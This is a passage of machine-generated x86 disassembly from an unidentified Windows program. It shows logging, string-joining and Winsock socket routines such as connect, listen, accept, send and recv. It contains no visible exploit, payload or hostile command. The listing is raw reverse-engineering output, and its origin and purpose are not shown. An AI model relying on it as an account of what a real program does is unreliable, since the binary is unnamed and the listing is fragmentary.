esi, 80h cmp esi, offset dword_50AE5C jl short loc_419AA2 pop edi pop esi xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_419AC6: ; CODE XREF: ___:00419AB0j pop edi pop esi mov eax, 1 pop ebx retn ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419AE0 proc near ; CODE XREF: sub_4010D2j var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 10h lea eax, [esp+10h+var_10] push esi push edi push eax nop call near ptr 27B0000h mov edi, dword_50FAFC mov esi, offset dword_50AE5C loc_419AFB: ; CODE XREF: sub_419AE0+3Bj cmp byte ptr [esi], 0 jz short loc_419B0F push 7Fh lea ecx, [esi+80h] push esi push ecx call edi add esp, 0Ch loc_419B0F: ; CODE XREF: sub_419AE0+1Ej sub esi, 80h cmp esi, offset dword_506E5C jge short loc_419AFB mov edx, [esp+18h+arg_0] mov eax, [esp+18h+var_4] mov ecx, [esp+12h] push edx mov edx, [esp+1Ch+var_8] and eax, 0FFFFh and ecx, 0FFFFh push eax mov eax, [esp+20h+var_10] and edx, 0FFFFh push ecx mov ecx, [esp+1Ah] push edx mov edx, [esp+28h+var_10+2] and eax, 0FFFFh and ecx, 0FFFFh push eax and edx, 0FFFFh push ecx push edx push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push 80h push offset dword_506E5C nop call near ptr 77C3FA76h add esp, 28h pop edi pop esi add esp, 10h retn sub_419AE0 endp ; --------------------------------------------------------------------------- db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_419BB0: ; CODE XREF: ___:004012DAj sub esp, 600h mov ecx, 80h xor eax, eax push ebx push ebp push esi push edi lea edi, [esp+10h] mov esi, [esp+614h] rep stosd mov ecx, 80h lea edi, [esp+210h] mov ebp, dword_50FAFC push 1FFh rep stosd mov ecx, 80h lea edi, [esp+414h] rep stosd lea eax, [esp+14h] push esi push eax call ebp mov edx, [esp+628h] or ecx, 0FFFFFFFFh mov edi, edx xor eax, eax add esp, 0Ch repne scasb not ecx dec ecx cmp ecx, 180h jbe short loc_419C21 mov [edx+180h], al loc_419C21: ; CODE XREF: ___:00419C19j mov ebx, [esp+618h] lea ecx, [esp+10h] push ebx push ecx call near ptr 77C47C60h nop add esp, 8 test eax, eax jz loc_419D32 loc_419C3F: ; CODE XREF: ___:00419D25j lea edx, [esp+10h] push ebx push edx nop call near ptr 77C47C60h mov esi, eax mov edi, ebx or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push 1FFh add ecx, esi lea eax, [esp+41Ch] push ecx push eax call ebp lea ecx, [esp+24h] push 1FFh lea edx, [esp+228h] push ecx push edx mov byte ptr [esi], 0 call ebp lea edx, [esi+1] add esp, 20h test edx, edx jz short loc_419D00 lea eax, [ebx-1] test eax, eax jz short loc_419D00 lea edi, [ebx-1] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov edi, edx mov esi, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx cmp ecx, esi jbe short loc_419CDD mov edx, [esp+61Ch] lea ecx, [esp+410h] push ecx lea eax, [esp+214h] push edx push eax lea ecx, [esp+1Ch] push offset aSSS ; "%s%s%s" push ecx call near ptr byte_5EA1BD nop add esp, 14h jmp short loc_419D00 ; --------------------------------------------------------------------------- loc_419CDD: ; CODE XREF: ___:00419CAEj mov edx, [esp+61Ch] lea eax, [esp+210h] push edx push eax lea ecx, [esp+18h] push offset aSS_3 ; "%s%s" push ecx nop call near ptr byte_5EA1BD add esp, 10h loc_419D00: ; CODE XREF: ___:00419C8Aj ; ___:00419C91j ... mov edx, [esp+61Ch] mov esi, dword_50FAF8 push edx push ebx call esi add esp, 8 test eax, eax jnz short loc_419D2B lea eax, [esp+10h] push ebx push eax call esi add esp, 8 test eax, eax jnz loc_419C3F loc_419D2B: ; CODE XREF: ___:00419D16j mov esi, [esp+614h] loc_419D32: ; CODE XREF: ___:00419C39j lea edi, [esp+10h] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx push ecx lea ecx, [esp+14h] push ecx push esi call ebp add esp, 0Ch mov eax, esi pop edi pop esi pop ebp pop ebx add esp, 600h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 70h dup(0CCh) ; --------------------------------------------------------------------------- loc_419DD0: ; CODE XREF: ___:004018CFj sub esp, 10h push esi push 0 push 1 push 2 nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_419DEE or eax, eax pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_419DEE: ; CODE XREF: ___:00419DE5j mov ecx, [esp+18h] xor eax, eax mov [esp+4], eax push ecx mov [esp+0Ch], eax mov word ptr [esp+8], 2 mov [esp+10h], eax mov [esp+14h], eax call near ptr 71AB2B66h nop lea edx, [esp+4] push 10h push edx push esi mov [esp+12h], ax mov dword ptr [esp+14h], 0 nop call near ptr 71AB3E00h test eax, eax jz short loc_419E39 or eax, 0FFFFFFFFh pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_419E39: ; CODE XREF: ___:00419E2Fj push 7FFFFFFFh push esi nop call near ptr 71AB88D3h test eax, eax jz short loc_419E51 or eax, 0FFFFFFFFh pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_419E51: ; CODE XREF: ___:00419E47j mov eax, esi pop esi add esp, 10h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_419E90: ; CODE XREF: ___:00401E65j push edi xor edi, edi mov eax, offset byte_4DE2D5 loc_419E98: ; CODE XREF: ___:00419EA8j cmp dword ptr [eax], 0 jz short loc_419EAA add eax, 316h inc edi cmp eax, offset byte_4E5E45 jle short loc_419E98 loc_419EAA: ; CODE XREF: ___:00419E9Bj cmp edi, 13h jle short loc_419EB4 or eax, 0FFFFFFFFh pop edi retn ; --------------------------------------------------------------------------- loc_419EB4: ; CODE XREF: ___:00419EADj lea eax, [edi+edi*4] push ebx shl eax, 4 sub eax, edi mov ebx, dword_50FBF0 push esi lea eax, [eax+eax*4] lea esi, ds:4DE1DBh[eax*2] mov eax, [esp+10h] push eax push esi call ebx mov ecx, [esp+24h] mov edx, [esp+1Ch] mov eax, [esp+20h] mov [esi+0FAh], ecx mov ecx, [esp+28h] mov [esi+0FEh], edi add esp, 8 mov [esi+106h], edx mov [esi+10Ah], eax add esi, 10Eh push ecx push esi call ebx add esp, 8 mov eax, edi pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419F50 proc near ; CODE XREF: sub_4013E8j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h push edi xor edi, edi mov eax, offset dword_4D6765 loc_419F58: ; CODE XREF: sub_419F50+18j cmp dword ptr [eax], 0 jz short loc_419F6A add eax, 316h inc edi cmp eax, offset byte_4DE2D5 jle short loc_419F58 loc_419F6A: ; CODE XREF: sub_419F50+Bj cmp edi, 13h jle short loc_419F74 or eax, 0FFFFFFFFh pop edi retn ; --------------------------------------------------------------------------- loc_419F74: ; CODE XREF: sub_419F50+1Dj lea eax, [edi+edi*4] push ebx shl eax, 4 sub eax, edi mov ebx, dword_50FBF0 push esi lea eax, [eax+eax*4] lea esi, ds:4D666Bh[eax*2] mov eax, [esp+0Ch+arg_0] push eax push esi call ebx mov ecx, [esp+14h+arg_C] mov edx, [esp+14h+arg_4] mov eax, [esp+14h+arg_8] mov [esi+0FAh], ecx mov ecx, [esp+14h+arg_10] mov [esi+0FEh], edi add esp, 8 mov [esi+106h], edx mov [esi+10Ah], eax add esi, 10Eh push ecx push esi call ebx add esp, 8 mov eax, edi pop esi pop ebx pop edi retn sub_419F50 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A010 proc near ; CODE XREF: sub_401C35j var_190 = byte ptr -190h arg_0 = byte ptr 4 sub esp, 190h push ebp mov ebp, ecx push esi push edi mov dword ptr [ebp+0], offset off_43E0BC mov eax, dword_50BB28 test eax, eax jnz short loc_41A048 mov eax, dword_50BB28 inc eax mov dword_50BB28, eax lea ecx, [esp+19Ch+var_190] push ecx push 202h nop call near ptr 71AB664Dh jmp short loc_41A055 ; --------------------------------------------------------------------------- loc_41A048: ; CODE XREF: sub_41A010+19j mov edx, dword_50BB28 inc edx mov dword_50BB28, edx loc_41A055: ; CODE XREF: sub_41A010+36j mov al, [esp+19Ch+arg_0] or ecx, 0FFFFFFFFh mov [ebp+80Ah], al mov edi, offset byte_446F60 xor eax, eax mov [ebp+806h], ecx mov byte ptr [ebp+80Ch], 0 mov word ptr [ebp+4], 0 repne scasb not ecx sub edi, ecx lea edx, [ebp+6] mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax mov eax, ebp and ecx, 3 rep movsb pop edi mov byte ptr [ebp+80Bh], 0 pop esi pop ebp add esp, 190h retn 4 sub_41A010 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A0E0 proc near ; CODE XREF: ___:004018D4j sub_401AF5j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401FC8 test [esp+4+arg_0], 1 jz short loc_41A0F8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_41A0F8: ; CODE XREF: sub_41A0E0+Dj mov eax, esi pop esi retn 4 sub_41A0E0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A110 proc near ; CODE XREF: sub_401FC8j mov al, [ecx+80Ah] mov dword ptr [ecx], offset off_43E0BC test al, al jnz short loc_41A125 call sub_4014DD loc_41A125: ; CODE XREF: sub_41A110+Ej mov eax, 1 mov ecx, dword_50BB28 cmp ecx, eax jle short loc_41A140 mov eax, dword_50BB28 dec eax mov dword_50BB28, eax locret_41A13F: ; CODE XREF: sub_41A110:loc_41A140j retn ; --------------------------------------------------------------------------- loc_41A140: ; CODE XREF: sub_41A110+22j jnz short locret_41A13F mov ecx, dword_50BB28 dec ecx mov dword_50BB28, ecx nop jmp near ptr 71AB4428h sub_41A110 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41A180: ; CODE XREF: ___:004015A0j mov eax, large fs:0 push 0FFFFFFFFh push offset loc_43ACCB push eax mov large fs:0, esp sub esp, 814h push esi mov esi, ecx call sub_40195B test al, al jz loc_41A231 mov al, [esi+80Bh] test al, al jz short loc_41A1B9 mov al, 1 jmp short loc_41A231 ; --------------------------------------------------------------------------- loc_41A1B9: ; CODE XREF: ___:0041A1B3j push ebx push edi mov edi, [esp+830h] push 800h lea eax, [esi+6] push edi push eax nop call near ptr 77C47A90h mov ebx, [esp+840h] add esp, 0Ch lea ecx, [esp+0Ch] mov [esi+4], bx call sub_401186 mov ecx, [esp+83Ch] mov edx, [esp+838h] push ecx push edx push ebx push edi lea ecx, [esp+1Ch] mov dword ptr [esp+838h], 0 call sub_401636 push eax mov ecx, esi call sub_4020C7 lea ecx, [esp+0Ch] mov bl, al mov dword ptr [esp+828h], 0FFFFFFFFh call sub_40186B mov al, bl pop edi pop ebx loc_41A231: ; CODE XREF: ___:0041A1A5j ; ___:0041A1B7j mov ecx, [esp+818h] pop esi mov large fs:0, ecx add esp, 820h retn 10h ; --------------------------------------------------------------------------- db 7 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A290 proc near ; CODE XREF: sub_40195Bj mov al, byte_443DC0 retn sub_41A290 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A2B0 proc near ; CODE XREF: sub_4020C7j var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = dword ptr -114h var_110 = dword ptr -110h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = byte ptr 10h sub esp, 11Ch push ebp push esi push edi mov esi, ecx call sub_40195B test al, al jnz short loc_41A2D0 pop edi pop esi pop ebp add esp, 11Ch retn 10h ; --------------------------------------------------------------------------- loc_41A2D0: ; CODE XREF: sub_41A2B0+12j mov al, [esi+80Bh] test al, al jnz loc_41A471 push 6 push 1 push 2 nop call near ptr 71AB3B91h cmp eax, 0FFFFFFFFh mov [esi+806h], eax jnz short loc_41A30A mov ecx, esi call sub_4014DD pop edi pop esi xor al, al pop ebp add esp, 11Ch retn 10h ; --------------------------------------------------------------------------- loc_41A30A: ; CODE XREF: sub_41A2B0+43j mov al, [esp+128h+arg_C] test al, al jnz short loc_41A319 push 1 jmp short loc_41A31B ; --------------------------------------------------------------------------- loc_41A319: ; CODE XREF: sub_41A2B0+63j push 0 loc_41A31B: ; CODE XREF: sub_41A2B0+67j mov ecx, esi call sub_4018BB mov edi, [esp+128h+arg_4] xor eax, eax mov [esp+128h+var_114], eax push edi mov [esp+12Ch+var_110], eax mov [esi+4], di mov [esp+12Ch+var_10C], eax mov word ptr [esp+12Ch+var_114], 2 mov [esp+12Ch+var_108], eax nop call near ptr 71AB2B66h mov ecx, [esp+128h+arg_0] mov word ptr [esp+128h+var_114+2], ax mov eax, [esi+806h] lea edx, [esp+128h+var_114] push 10h push edx push eax mov [esp+134h+var_110], ecx mov [esi+4], di nop call near ptr 71AB406Ah mov ebp, dword_50FC44 test eax, eax jge short loc_41A3BC call ebp cmp eax, 2733h jz short loc_41A3AD call ebp cmp eax, 0Bh jz short loc_41A3AD call ebp cmp eax, 2733h jz short loc_41A3AD mov byte ptr [esi+80Bh], 0 pop edi pop esi xor al, al pop ebp add esp, 11Ch retn 10h ; --------------------------------------------------------------------------- loc_41A3AD: ; CODE XREF: sub_41A2B0+D6j ; sub_41A2B0+DDj ... mov al, byte ptr [esp+128h+arg_8] test al, al jnz loc_41A46A loc_41A3BC: ; CODE XREF: sub_41A2B0+CDj mov eax, [esi+806h] xor ecx, ecx lea edx, [esp+128h+var_11C] mov edi, dword_50FC80 mov [esp+128h+var_11C], ecx push edx mov [esp+12Ch+var_118], ecx push ecx lea ecx, [esp+130h+var_104] mov [esp+130h+var_100], eax push ecx inc eax push 0 push eax mov [esp+13Ch+var_11C], 0Ah mov [esp+13Ch+var_104], 1 call edi test eax, eax jge short loc_41A430 loc_41A3FB: ; CODE XREF: sub_41A2B0+17Ej call ebp call ebp cmp eax, 4 jnz short loc_41A445 mov eax, [esp+128h+var_11C] test eax, eax jnz short loc_41A414 mov eax, [esp+128h+var_118] test eax, eax jz short loc_41A445 loc_41A414: ; CODE XREF: sub_41A2B0+15Aj mov ecx, [esi+806h] lea edx, [esp+128h+var_11C] push edx lea eax, [esp+12Ch+var_104] push 0 push eax inc ecx push 0 push ecx call edi test eax, eax jl short loc_41A3FB loc_41A430: ; CODE XREF: sub_41A2B0+149j mov al, [esp+128h+arg_C] test al, al jnz short loc_41A461 mov edx, [esp+128h+arg_8] push edx jmp short loc_41A463 ; --------------------------------------------------------------------------- loc_41A445: ; CODE XREF: sub_41A2B0+152j ; sub_41A2B0+162j mov ecx, esi call sub_4014DD mov byte ptr [esi+80Bh], 0 pop edi pop esi xor al, al pop ebp add esp, 11Ch retn 10h ; --------------------------------------------------------------------------- loc_41A461: ; CODE XREF: sub_41A2B0+189j push 0 loc_41A463: ; CODE XREF: sub_41A2B0+193j mov ecx, esi call sub_4018BB loc_41A46A: ; CODE XREF: sub_41A2B0+106j mov byte ptr [esi+80Bh], 1 loc_41A471: ; CODE XREF: sub_41A2B0+28j pop edi pop esi mov al, 1 pop ebp add esp, 11Ch retn 10h sub_41A2B0 endp ; --------------------------------------------------------------------------- db 90h db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A500 proc near ; CODE XREF: sub_4014DDj push esi mov esi, ecx mov eax, [esi+806h] cmp eax, 0FFFFFFFFh jz short loc_41A51A cmp eax, 0FFFFFFFFh jz short loc_41A51A push eax call near ptr 71AB9639h nop loc_41A51A: ; CODE XREF: sub_41A500+Cj ; sub_41A500+11j mov ecx, esi call sub_401375 mov byte ptr [esi+80Bh], 0 pop esi retn sub_41A500 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A540 proc near ; CODE XREF: sub_401375j push ebp mov edx, ecx push esi push edi or ecx, 0FFFFFFFFh mov edi, offset byte_446F60 xor eax, eax mov [edx+806h], ecx mov word ptr [edx+4], 0 lea ebp, [edx+6] repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb pop edi pop esi mov byte ptr [edx+80Bh], 0 mov byte ptr [edx+80Ch], 0 pop ebp retn sub_41A540 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A5B0 proc near ; CODE XREF: sub_401488j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 10h push esi mov esi, ecx call sub_40195B test al, al jnz short loc_41A5C6 pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- loc_41A5C6: ; CODE XREF: sub_41A5B0+Dj mov al, [esi+80Bh] test al, al jnz loc_41A67F push 6 push 1 push 2 nop call near ptr 71AB3B91h cmp eax, 0FFFFFFFFh mov [esi+806h], eax jnz short loc_41A5FB mov ecx, esi call sub_4014DD xor al, al pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- loc_41A5FB: ; CODE XREF: sub_41A5B0+39j mov ecx, [esp+14h+arg_0] xor eax, eax mov [esp+14h+var_10], eax push ecx mov [esp+18h+var_C], eax mov word ptr [esp+18h+var_10], 2 mov [esp+18h+var_8], eax mov [esp+18h+var_4], eax nop call near ptr 71AB2B66h mov word ptr [esp+14h+var_10+2], ax mov eax, [esi+806h] lea edx, [esp+14h+var_10] push 10h push edx push eax mov [esp+20h+var_C], 0 call near ptr 71AB3E00h nop test eax, eax jz short loc_41A654 mov ecx, esi call sub_4014DD xor al, al pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- loc_41A654: ; CODE XREF: sub_41A5B0+92j mov ecx, [esi+806h] push 32h push ecx call near ptr 71AB88D3h nop cmp eax, 0FFFFFFFFh jnz short loc_41A678 mov ecx, esi call sub_4014DD xor al, al pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- loc_41A678: ; CODE XREF: sub_41A5B0+B6j mov byte ptr [esi+80Bh], 1 loc_41A67F: ; CODE XREF: sub_41A5B0+1Ej mov al, 1 pop esi add esp, 10h retn 4 sub_41A5B0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A6D0 proc near ; CODE XREF: sub_401B81j var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = byte ptr -114h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 120h push esi push edi mov esi, ecx call sub_40195B test al, al jnz short loc_41A6EE pop edi pop esi add esp, 120h retn 0Ch ; --------------------------------------------------------------------------- loc_41A6EE: ; CODE XREF: sub_41A6D0+11j mov al, [esi+80Bh] test al, al jnz short loc_41A705 pop edi xor al, al pop esi add esp, 120h retn 0Ch ; --------------------------------------------------------------------------- loc_41A705: ; CODE XREF: sub_41A6D0+26j mov al, [esi+80Ch] test al, al jnz short loc_41A781 call sub_40195B test al, al jz short loc_41A774 mov edi, dword_50FC80 loc_41A71E: ; CODE XREF: sub_41A6D0+A2j mov eax, [esi+806h] lea ecx, [esp+128h+var_11C] push ecx mov [esp+12Ch+var_100], eax push 0 lea edx, [esp+130h+var_104] push 0 inc eax push edx push eax mov [esp+13Ch+var_104], 1 mov [esp+13Ch+var_11C], 0 mov [esp+13Ch+var_118], 64h call edi test eax, eax jz short loc_41A76B mov ecx, [esi+806h] lea eax, [esp+128h+var_104] push eax push ecx call sub_436F60 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_41A781 loc_41A76B: ; CODE XREF: sub_41A6D0+84j call sub_40195B test al, al jnz short loc_41A71E loc_41A774: ; CODE XREF: sub_41A6D0+46j pop edi xor al, al pop esi add esp, 120h retn 0Ch ; --------------------------------------------------------------------------- loc_41A781: ; CODE XREF: sub_41A6D0+3Dj ; sub_41A6D0+99j mov eax, [esp+128h+arg_4] mov [esp+128h+var_120], 0FFFFFFFFh test eax, eax jz short loc_41A7A4 lea edx, [esp+128h+var_11C] mov [esp+128h+var_11C], 10h push edx push eax jmp short loc_41A7B6 ; --------------------------------------------------------------------------- loc_41A7A4: ; CODE XREF: sub_41A6D0+C2j lea ecx, [esp+128h+var_11C] lea edx, [esp+128h+var_114] push ecx mov [esp+12Ch+var_11C], 10h push edx loc_41A7B6: ; CODE XREF: sub_41A6D0+D2j mov eax, [esi+806h] push eax call near ptr 71AC1028h nop cmp eax, 0FFFFFFFFh mov [esp+128h+var_120], eax jnz short loc_41A7D9 pop edi xor al, al pop esi add esp, 120h retn 0Ch ; --------------------------------------------------------------------------- loc_41A7D9: ; CODE XREF: sub_41A6D0+FAj mov esi, [esp+128h+arg_0] lea ecx, [esp+128h+var_120] push ecx mov ecx, esi call sub_4020EA mov dl, [esp+128h+arg_8] pop edi mov [esi+80Dh], dl mov al, 1 pop esi add esp, 120h retn 0Ch sub_41A6D0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A860 proc near ; CODE XREF: sub_4020EAj arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov edx, [eax] mov [ecx+806h], edx mov edx, [eax] cmp edx, 0FFFFFFFFh setnz al mov [ecx+80Bh], al retn 4 sub_41A860 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A890 proc near ; CODE XREF: sub_401960j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] mov edx, [esp+arg_4] push eax mov eax, [esp+4+arg_0] push 0 push edx push eax call sub_401B3B retn 0Ch sub_41A890 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A8C0 proc near ; CODE XREF: sub_401B3Bj var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = dword ptr -208h var_204 = dword ptr -204h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h sub esp, 210h push ebx push ebp push esi mov esi, ecx push edi cmp dword ptr [esi+806h], 0FFFFFFFFh jz loc_41AA24 mov al, [esi+80Bh] test al, al jz loc_41AA24 mov edi, dword_50F8A4 call edi mov ebp, eax mov al, [esi+80Dh] test al, al jnz loc_41A9BC mov ebx, [esp+220h+arg_8] test ebx, ebx jz loc_41A9BC call sub_40195B test al, al jz loc_41A9BC loc_41A91B: ; CODE XREF: sub_41A8C0+F6j mov eax, [esi+806h] mov ecx, 1 mov [esp+220h+var_100], eax mov [esp+220h+var_104], ecx mov [esp+220h+var_204], eax mov [esp+220h+var_208], ecx mov [esp+220h+var_210], 0 mov [esp+220h+var_20C], 64h call edi sub eax, ebp cmp eax, ebx ja loc_41AA24 lea eax, [esp+220h+var_210] lea ecx, [esp+220h+var_208] push eax mov eax, [esi+806h] push ecx lea edx, [esp+228h+var_104] push 0 inc eax push edx push eax nop call near ptr 71AB2DC0h test eax, eax jz short loc_41A9AF mov edx, [esi+806h] lea ecx, [esp+220h+var_208] push ecx push edx call sub_436F60 ; --------------------------------------------------------------------------- test eax, eax jnz loc_41AA24 mov ecx, [esi+806h] lea eax, [esp+220h+var_104] push eax push ecx call sub_436F60 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_41A9BC loc_41A9AF: ; CODE XREF: sub_41A8C0+BCj call sub_40195B test al, al jnz loc_41A91B loc_41A9BC: ; CODE XREF: sub_41A8C0+39j ; sub_41A8C0+48j ... call sub_40195B test al, al jz short loc_41AA24 mov edx, [esp+220h+arg_4] mov eax, [esp+220h+arg_0] mov ecx, [esi+806h] push 0 push edx push eax push ecx nop call near ptr 71AB615Ah mov ecx, [esp+220h+arg_C] test ecx, ecx jz short loc_41A9F1 mov [ecx], eax loc_41A9F1: ; CODE XREF: sub_41A8C0+12Dj cmp eax, 0FFFFFFFFh jz short loc_41AA09 test eax, eax jz short loc_41AA09 pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 210h retn 10h ; --------------------------------------------------------------------------- loc_41AA09: ; CODE XREF: sub_41A8C0+134j ; sub_41A8C0+138j nop call near ptr 71AB94DCh pop edi cmp eax, 2733h pop esi pop ebp setz al pop ebx add esp, 210h retn 10h ; --------------------------------------------------------------------------- loc_41AA24: ; CODE XREF: sub_41A8C0+13j ; sub_41A8C0+21j ... pop edi pop esi pop ebp xor al, al pop ebx add esp, 210h retn 10h sub_41A8C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 60h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AAA0: ; CODE XREF: ___:00401618j mov eax, [ecx+806h] cmp eax, 0FFFFFFFFh jz short loc_41AAF1 mov dl, [ecx+80Bh] test dl, dl jz short loc_41AAF1 mov ecx, [esp+8] mov edx, [esp+4] push 0 push ecx push edx push eax call near ptr 71AB428Ah nop mov ecx, [esp+0Ch] test ecx, ecx jz short loc_41AAD2 mov [ecx], eax loc_41AAD2: ; CODE XREF: ___:0041AACEj cmp eax, 0FFFFFFFFh jz short loc_41AAE0 test eax, eax jz short loc_41AAE0 mov al, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_41AAE0: ; CODE XREF: ___:0041AAD5j ; ___:0041AAD9j nop call near ptr 71AB94DCh cmp eax, 2733h setz al retn 0Ch ; --------------------------------------------------------------------------- loc_41AAF1: ; CODE XREF: ___:0041AAA9j ; ___:0041AAB3j xor al, al retn 0Ch ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AB20: ; CODE XREF: ___:004019B0j push ecx push ebx push ebp push esi mov esi, ecx push edi mov [esp+10h], esi call sub_40195B test al, al jnz short loc_41AB3C pop edi pop esi pop ebp pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_41AB3C: ; CODE XREF: ___:0041AB32j mov al, [esi+80Bh] xor ebx, ebx cmp al, bl jnz short loc_41AB52 loc_41AB48: ; CODE XREF: ___:0041AB8Dj pop edi pop esi pop ebp xor al, al pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_41AB52: ; CODE XREF: ___:0041AB46j mov eax, [esp+1Ch] mov ebp, [esp+18h] xor esi, esi dec eax cmp eax, ebx mov [ebp+0], bl mov byte ptr [esp+18h], 1 jle short loc_41ABB6 mov edi, ebp loc_41AB6B: ; CODE XREF: ___:0041ABB4j cmp edi, ebx jz short loc_41ABB6 cmp [esp+18h], bl jz short loc_41ABB6 call sub_40195B test al, al jz short loc_41ABB6 mov ecx, [esp+10h] push ebx push 1 push edi call sub_401960 test al, al jz short loc_41AB48 mov [esi+ebp+1], bl mov al, [edi] cmp al, 0Ah jz short loc_41ABA1 cmp al, 0Dh jz short loc_41ABA1 cmp al, bl jnz short loc_41ABA9 loc_41ABA1: ; CODE XREF: ___:0041AB97j ; ___:0041AB9Bj mov [esi+ebp-1], bl mov [esp+18h], bl loc_41ABA9: ; CODE XREF: ___:0041AB9Fj mov ecx, [esp+1Ch] inc esi inc edi lea eax, [ecx-1] cmp esi, eax jl short loc_41AB6B loc_41ABB6: ; CODE XREF: ___:0041AB67j ; ___:0041AB6Dj ... mov edx, [esp+1Ch] pop edi pop esi mov al, 1 mov [edx+ebp-1], bl pop ebp pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AC00: ; CODE XREF: ___:00402180j push ecx push ebx push ebp push esi mov esi, ecx push edi mov [esp+10h], esi call sub_40195B test al, al jnz short loc_41AC1C pop edi pop esi pop ebp pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_41AC1C: ; CODE XREF: ___:0041AC12j mov al, [esi+80Bh] xor ebx, ebx cmp al, bl jnz short loc_41AC32 loc_41AC28: ; CODE XREF: ___:0041AC6Dj pop edi pop esi pop ebp xor al, al pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_41AC32: ; CODE XREF: ___:0041AC26j mov eax, [esp+1Ch] mov ebp, [esp+18h] xor esi, esi dec eax cmp eax, ebx mov [ebp+0], bl mov byte ptr [esp+18h], 1 jle short loc_41AC9D mov edi, ebp loc_41AC4B: ; CODE XREF: ___:0041AC9Bj cmp edi, ebx jz short loc_41AC9D cmp [esp+18h], bl jz short loc_41AC9D call sub_40195B test al, al jz short loc_41AC9D mov ecx, [esp+10h] push ebx push 1 push edi call sub_401960 test al, al jz short loc_41AC28 mov [esi+ebp+1], bl mov al, [edi] cmp al, 0Ah jz short loc_41AC7D cmp al, bl jnz short 